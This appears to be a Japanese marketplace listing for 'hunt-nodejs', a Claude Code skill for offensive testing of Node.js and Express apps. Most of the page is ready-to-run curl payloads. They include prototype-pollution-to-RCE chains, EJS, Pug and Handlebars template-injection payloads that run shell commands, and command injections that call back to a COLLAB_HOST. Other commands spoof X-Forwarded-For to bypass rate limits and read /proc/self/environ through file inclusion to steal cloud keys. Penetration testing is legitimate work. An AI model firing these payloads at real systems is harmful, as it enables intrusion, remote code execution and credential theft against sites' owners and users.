mcpField
H
hunt-nodejs

hunt-nodejs

github.com/uphiagoセキュリティ1.3k42 回インストール8 週間前に更新
リポジトリ

hunt-nodejs について

hunt-nodejsは、Node.jsアプリを評価するセキュリティテスト用スキルです。フィンガープリント確認から、プロトタイプ汚染、trust proxyの誤用、テンプレート・コマンドインジェクション、ローカルファイル露出の検証までを扱います。

主な機能

  1. 01Node.jsとExpressの対象識別
  2. 02プロトタイプ汚染の検出
  3. 03汚染からRCEへの連鎖のテスト
  4. 04Expressのtrust proxy動作の評価
  5. 05テンプレートとシェルインジェクションの確認
  6. 06LFIに関連するプロセスファイル露出の調査

活用シーン

  1. 01許可されたテストでNode.jsアプリを評価
  2. 02プロトタイプ汚染が危険な処理に到達するか確認
  3. 03偽装した転送元IPによる制御回避をテスト
  4. 04テンプレートやコマンドインジェクションの疑いを検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill hunt-nodejs

インストール後、Claude Code で/hunt-nodejsを入力して読み込まれたか確認します。

詳細

HUNT-NODEJS — Node.js 固有の脆弱性

重要標的

Node.js バックエンドでプロトタイプ汚染がシンクに到達すると、重大な RCE につながります。

特に価値の高い攻撃チェーン:

  • プロトタイプ汚染 → RCE — lodash.merge / Object.assign を介した __proto__ インジェクション → 汚染されたプロトタイプが child_process.exec または vm.runInNewContext のシンクに到達
  • Express の trust proxy — 検証せずに app.set('trust proxy', true) を設定 → 攻撃者が X-Forwarded-For を設定し、IP 許可リストやレート制限を回避
  • EJS/Pug の SSTI — テンプレートエンジンにユーザー入力が渡される → {{= process.mainModule.require('child_process').execSync('id') }}
  • child_process インジェクション — ユーザー入力がシェルコマンド文字列に補間される → OS コマンドインジェクション
  • require() のパストラバーサル — 攻撃者が制御するモジュールパス → 任意のファイルを JS として読み込む

攻撃対象領域の兆候

X-Powered-By: Express           Confirms Express.js
Node.js in error messages        Runtime detected
package.json exposed             Dependency list + versions
/proc/self/environ accessible    Environment variable exfil
Error stack traces with .js paths  Node.js confirmed
__proto__ in JSON accepted        Prototype pollution candidate

フェーズ 1 — フィンガープリント

# Confirm Node.js/Express
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-powered-by\|nodejs\|express"

# Check for package.json / node_modules exposure
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/package-lock.json"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/node_modules/.package-lock.json"

# Error-based version detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent-path-xyz" | grep -i "node\|express\|cannot GET"

フェーズ 2 — プロトタイプ汚染の検出

# JSON body injection — test if __proto__ is accepted
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/merge \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": "yes"}}'

# Constructor prototype
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/settings \
  -H "Content-Type: application/json" \
  -d '{"constructor": {"prototype": {"isAdmin": true}}}'

# URL query param injection (qs library)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/search?__proto__[polluted]=yes&query=test"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/data?constructor[prototype][admin]=1"

# Confirm pollution: does a subsequent request reflect the polluted key?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/me" | grep -i "polluted\|isAdmin\|admin"

フェーズ 3 — プロトタイプ汚染 → RCE チェーン

# If pollution is confirmed, attempt to reach dangerous sinks

# Sink 1: child_process via options.shell pollution
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/update \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"NODE_OPTIONS": "--inspect=COLLAB_HOST"}
    }
  }'

# Sink 2: lodash template pollution (CVE-2021-23337)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"sourceURL": "\nreturn process.mainModule.require(\"child_process\").execSync(\"id\").toString()//"}}'

# Sink 3: ejs template options pollution
# If EJS is used for rendering, pollute the `opts.escapeXML` or `opts.outputFunctionName`
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/template \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"curl COLLAB_HOST/pp-rce\");x"}}'

# OOB confirmation — check Interactsh for callback

フェーズ 4 — Express の trust proxy の悪用

# If Express has trust proxy enabled, X-Forwarded-For is trusted
# Test: does spoofed IP bypass IP-based rate limiting or allowlist?

# Spoof IP to 127.0.0.1 (localhost bypass)
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/admin/action \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "Content-Type: application/json" \
  -d '{"action": "test"}'

# Spoof to internal IP range
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/internal \
  -H "X-Forwarded-For: 10.0.0.1" \
  -H "X-Real-IP: 10.0.0.1"

# Rate limit bypass via rotating fake IPs
for i in $(seq 1 50); do
  curl --max-time 30 --connect-timeout 10 -s https://$TARGET/api/login \
    -H "X-Forwarded-For: 1.2.3.$i" \
    -d '{"email":"[email protected]","password":"wrong"}' \
    -o /dev/null -w "$i: %{http_code}\n"
done

フェーズ 5 — テンプレートエンジンの SSTI(EJS / Pug / Handlebars)

# EJS SSTI — if user input reaches EJS template context
# Test basic: <%= 7*7 %> should return 49
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= 7*7 %>"}'

# EJS RCE payload
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "<%= process.mainModule.require(\"child_process\").execSync(\"id\").toString() %>"}'

# Pug SSTI
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = root.process\n= x.mainModule.require(\"child_process\").execSync(\"id\")"}'

# Handlebars — prototype pollution via template
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/render \
  -H "Content-Type: application/json" \
  -d '{"template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return process.mainModule.require(childprocess).execSync(id)\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"}'

フェーズ 6 — child_process のコマンドインジェクション

# Look for endpoints that run shell commands with user input
# Signals: /api/convert, /api/exec, /api/ping, /api/scan

# Basic injection test
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/ping?host=127.0.0.1;id"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/convert?file=test.pdf;curl+COLLAB_HOST/ci"
curl --max-time 30 --connect-timeout 10 -s -X POST https://$TARGET/api/exec \
  -H "Content-Type: application/json" \
  -d '{"command": "ls", "args": ["&&", "curl", "COLLAB_HOST/ci"]}'

# OOB via DNS
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/dns?host=\$(curl+COLLAB_HOST/dns-ci).example.com"

フェーズ 7 — /proc/self/environ の窃取

# If LFI exists on Node.js app, /proc/self/environ leaks env vars
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/environ"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/read?file=../../../../proc/self/environ"

# Also check:
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cmdline"  # full command-line
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/file?path=/proc/self/cwd"       # working directory

攻撃チェーン表

Node.js の検出事項次の攻撃段階影響
プロトタイプ汚染を確認RCE シンクを探す(child_process、eval)重大な RCE
Express の trust proxyIP 許可リスト/レート制限を回避認証回避/DoS 回避
テンプレートエンジンの SSTIOS コマンド実行重大な RCE
child_process インジェクションid && curl COLLAB_HOST重大な RCE
LFI による /proc/self/environAWS_ACCESS_KEY_ID の漏えいクラウド侵害

検証

✅ プロトタイプ汚染:キーが送信されていないのに、後続の API レスポンスにそのキーが現れる
✅ RCE チェーン:OOB コールバックを受信、またはレスポンスに id の出力が含まれる
✅ trust proxy:偽装した IP が受け入れられ、レート制限または許可リストを回避できる

深刻度:

  • プロトタイプ汚染 → RCE:重大
  • SSTI → RCE:重大
  • child_process インジェクション:重大
  • trust proxy → レート制限の回避:中
  • /proc/self/environ の窃取:高(クラウドキーが含まれる場合)

確認

このセルフテストを実行して、nodejs のハンティング準備が整っていることを確認します。

  1. スキルの完全性 — スキルファイルが読み取り可能で、適切な形式であることを確認します。

    grep -q "name: hunt-nodejs" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL"
    grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL"
    
  2. カテゴリの確認 — スキルにカテゴリがあることを確認します。

    grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL"
    
  3. 落とし穴のセクション — 落とし穴が記載されていることを確認します。

    grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
    

3 つすべてのテストで、スキルが適切に構成され、使用できる状態であることを確認できます。


落とし穴

  • ガジェットを伴わないプロトタイプ汚染 — __proto__ インジェクションはプリミティブです。RCE、認証回避、または XSS につなげるにはガジェットチェーンが必要です。
  • 静的な入力を使う eval — eval("'use strict'; ...") は悪用できません。動的で、ユーザーが制御できる入力が必要です。
  • ユーザー入力を伴わない child_process — exec("ls -la") は、コマンドにユーザー入力が含まれない限り悪用できません。
  • サーバーサイド JavaScript インジェクション(SSJI) — プロトタイプ汚染とは別のものです。この 2 つの攻撃クラスを区別してください。

関連スキル

  • hunt-api-misconfig — プロトタイプ汚染は、API の設定ミスと Node.js 固有のシンクに共通する根本原因のカテゴリです。連鎖のプリミティブ:__proto__ を受け入れる JSON マージ → hunt-api-misconfig の一括割り当てパターン(追加のコントローラーパラメーター)→ 管理者フィールドがユーザーオブジェクトを汚染します。
  • hunt-rce — child_process または vm.runInThisContext に到達するプロトタイプ汚染は RCE につながります。連鎖のプリミティブ:__proto__ を shell:true または NODE_OPTIONS: "--require /proc/self/fd/0" で汚染 → child_process.spawn が攻撃者制御の環境変数を使用 → 任意のコマンドを実行します。
  • hunt-ssti — EJS、Pug、Handlebars の SSTI は、Node.js 固有の RCE ベクトルです。連鎖のプリミティブ:テンプレートエンジンが、サニタイズされていないオプションを指定した render() 経由でユーザー入力を受け取る → outputFunctionName の汚染(EJS CVE-2022-29078)→ process.mainModule.require('child_process').execSync('id')。
  • hunt-lfi — Node.js の LFI は、多くの場合、require() のパストラバーサルや res.sendFile() のシンクに到達します。連鎖のプリミティブ:Express の静的ファイルサーバーで ?file=../../../etc/passwd を指定 → 設定ファイルを読み取る;require(userPath) → 攻撃者が制御する JS ファイルをモジュールとして読み込む → RCE。
  • hunt-ssrf — ワイルドカードのターゲット設定を持つ Express の http-proxy-middleware は、Node.js の SSRF ベクトルです。連鎖のプリミティブ:プロキシのターゲットにユーザー入力を設定 → リクエストが内部サービスに転送される → クラウドメタデータや内部の管理者パネルを読み取ります。
  • hunt-brute-force — Express の trust proxy の設定ミスは、IP ベースのレート制限を無効にします。連鎖のプリミティブ:app.set('trust proxy', true) + X-Forwarded-For: 127.0.0.1 → 攻撃者は偽装 IP をローテーションしてログインのレート制限を回避します。
  • security-arsenal — Node.js のプロトタイプ汚染ガジェットツリー(lodash.merge、Object.assign、qs.parse、express-formidable、cookie-parser のマージモード)と、EJS/Pug/Handlebars の SSTI ペイロード集を活用します。
  • triage-validation — プロトタイプ汚染による Critical RCE を主張する前に、Pre-Severity Gate を適用してください。__proto__ の汚染はプリミティブです。汚染されたプロパティをコマンド/環境変数/オプションとして解釈するシンクに到達した場合にのみ Critical となります。レポートを作成する前に、OOB コールバックでシンクに到達可能であることを実証してください。

コメント